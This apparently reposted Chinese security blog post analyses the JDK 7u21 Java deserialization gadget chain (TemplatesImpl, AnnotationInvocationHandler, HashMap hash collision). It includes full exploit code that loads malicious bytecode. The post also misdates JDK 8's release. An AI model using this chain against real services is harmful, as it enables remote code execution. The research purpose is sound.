原文链接
作为jdk中目前发现的原生链，还是有必要要分析这个用法的。
全文仅限尽可能还原挖掘思路
在很多链中，TemplatesImpl一直发挥着不可或缺的作用，它是位于jdk源码中的一段Gadget:getOutputProperties()->newTransformer()->getTransletInstance()->...
templatesImpl利用回顾:
- 加载对象需要是
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的实现类- 需要设置_name,_bytecodes
- _tfactory属性在高版本需要设置，jdk7u21中不是必须，看jdk版本而言-》defineTransletClasses
其中只要能触发上述任意一个函数的，都可以完成TemplatesImpl的动态加载字节码功能。1.所以我们看jdk中是否有调用这三个函数?
还记得sun.reflect.annotation.AnnotationInvocationHandler嘛？这可是java反序列化中的重要角色。而jdk7u21算是对其利用的再挖掘。
为了简单直接，我把反编译的代码中的var变量替换了自定义变量
//AnnotationInvocationHandler.javaprivate Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] methods = this.getMemberMethods();//获取this.type的所有方法 int methods_num = methods.length; for(int var4 = 0; var4 < methods_num; ++var4) { Method var5 = methods[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1);//判断var1是否是代理类 if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); //调用任意方法 } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false; } } return true; }}private Method[] getMemberMethods() { if (this.memberMethods == null) { this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true); return var1; } }); } return this.memberMethods;}到这里，可以看到this.memberMethods可控，到现在也就是说如果能让AnnotationInvocationHandler调用equalImpl方法，且控制其中的memberMethods，就可以完成任意方法的调用了。
2.怎么触发equalsImpl？
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { ...... }}关键逻辑：如果代理对象调用了equals方法，且满足equals方法有且仅有一个Object类型的参数。
当前exp,成功触发
//read evil bytecode-2FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class");int available = is.available();byte[] bytes = new byte[available];is.read(bytes,0,available);//construct TemplatesImplTemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> clazz = templates.getClass();Field bytecodes = clazz.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates,new byte[][]{bytes});Field name = clazz.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"Aur0ra");Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true);Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap());//set anno.typesetValue(anno,"type",TemplatesImpl.class);unsetFinal(anno,"memberMethods");setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")});Map map = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno);map.equals(templates);
3.接下来就是想办法怎么触发equals方法，且参数可控
要求反序列化中会进行equals方法的，直接可以去全局搜索，这里借用
codeql的话就很香了。
4.这里就直接丢出目前链子的利用点，直接采用hashMap之类的？为什么采用这个类呢？
//HashMap.javapublic V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null;}map类在反序列化时肯定进行put操作，这时，我们直接看put方法。其中会有equals操作，前提是key的hash相等，但key不等，相当于就是做hash碰撞》》》也就是让proxy的hash与Templates的hash相等
yso中巧妙的构造hash-->参照<java 安全漫谈>
final int hash(Object k) { int h = 0; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } h ^= k.hashCode(); // This function ensures that hashCodes that differ only by // constant multiples at each bit position have a bounded // number of collisions (approximately 8 at default load factor). h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4);}可以看到，hash就是直接调用了对象的hashCode方法生成的。
但对象templates的hashcode是一个native方法，每次计算都会变动。所以现在只能看Proxy的hash计算了，需要让proxy的hash动态等于tempaltesimpl的hashprivate int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1;}它的计算方式就是
累加 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())关键点：由于0异或任何等于任何数，此时如果让key的hash等于0，而value等于templatesImpl，那最后不就一直相等了嘛
for (long i = 0; i < 99999999L; i++) { if (Long.toHexString(i).hashCode() == 0) { System.out.println(Long.toHexString(i)); }}得到了一个
f5a5a608,使得((String)var3.getKey()).hashCode()==0,所以我们只需要将AnnotationHandler中的Map添加一组map.put("f5a5a608", templates);即可。
5.利用逻辑梳理
hashMap#put->hashcode相等，所以直接调用AnnotationInvocationHandler#equalsImpl->再就是上面分析的利用
6.附上分析结果（有些赘余，此处略优化
package sec.aur0ra;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.ByteArrayInputStream;import java.io.FileInputStream;import java.io.IOException;import java.io.InputStream;import java.lang.annotation.Annotation;import java.lang.annotation.Retention;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class Gadget { public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { //read evil bytecode-1 //InputStream is = Aur0ra.class.getResourceAsStream("Aur0ra.class"); //read evil bytecode-2 FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class"); int available = is.available(); byte[] bytes = new byte[available]; is.read(bytes,0,available); //construct TemplatesImpl TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> clazz = templates.getClass(); Field bytecodes = clazz.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,new byte[][]{bytes}); Field name = clazz.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"Aur0ra"); Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap()); //set anno.type setValue(anno,"type",TemplatesImpl.class); unsetFinal(anno,"memberMethods"); setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")}); Map proxy = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno); HashMap map = new HashMap(); map.put("f5a5a608", templates); unsetFinal(anno,"memberValues"); setValue(anno,"memberValues",map); HashMap hashMap = new HashMap(); hashMap.put(templates,templates); hashMap.put(proxy,123); } public static void setValue(Object obj,String filed,Object value){ try { Field declaredField = obj.getClass().getDeclaredField(filed); declaredField.setAccessible(true); declaredField.set(obj,value); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } public static void unsetFinal(Object obj,String field) throws NoSuchFieldException, IllegalAccessException { Class<?> aClass = obj.getClass(); Field declaredField = aClass.getDeclaredField(field); Field modifiers = declaredField.getClass().getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.set(declaredField,declaredField.getModifiers()&~Modifier.TRANSIENT); }}为什么采用TemplatesImpl#newTransformer,而不直接采用getTransletInstance?
你试试就知道了。是因为最后调用时，getTransletInstance是private方法，无法被触发，所以采用了newTransformer,当然采用getOutputProperties也是可以的。
为什么很多地方给的不是hashmap而是LinkedHashSet等？
采用LinkedHashSet是因为它重新进行put时，会按照既定的顺序，会直接影响利用结果。这里的话，似乎影响不大，但也有可能出现错误。
type需要使用Templates.class，而不是TemplatesImpl.class
为什么jdk7u21前的版本中，不是Annotation类照样可以成功运行exp呢？
可以看到，这里type已成功赋值为目标Class对象，所以下面return的时候，不影响序列化的结果。
这里留个疑问：为什么明显目标需要是
private final Class<? extends Annotation> type;，而这里放了一个TemplatesImpl在里面，这不是不合乎语法嘛？
官方修复操作
? 如果不一致，就直接抛出异常，从而结束执行。
? 如果抛出异常被try-catch处理后，特殊情况下是不是会存在被利用的可能性呢？
jdk的很多版本都是并行开发的，那是不是说有可能这个jdk7u21在其他版本的jdk中也存在呢？? 通过对比开发时间，jdk8出来时(2017年)，这个已经被修复了，所以以上就不存在利用了。那是不是jdk<jdk7都存在这个洞呢？也不是，因为是并行开发的，jdk6或者其他版本也是在更新迭代，所以也只有部分jdk6或者其他版本收到影响。
好像和上面留的思路一致，就是利用try-catch机制，处理异常，并继续运行put操作。
关键点：beancontextsupport
这里就先不做分析了，更多的是涉及序列化处理的操作。再另一篇文章分析。
java 安全漫谈
jdk8u20反序列化分析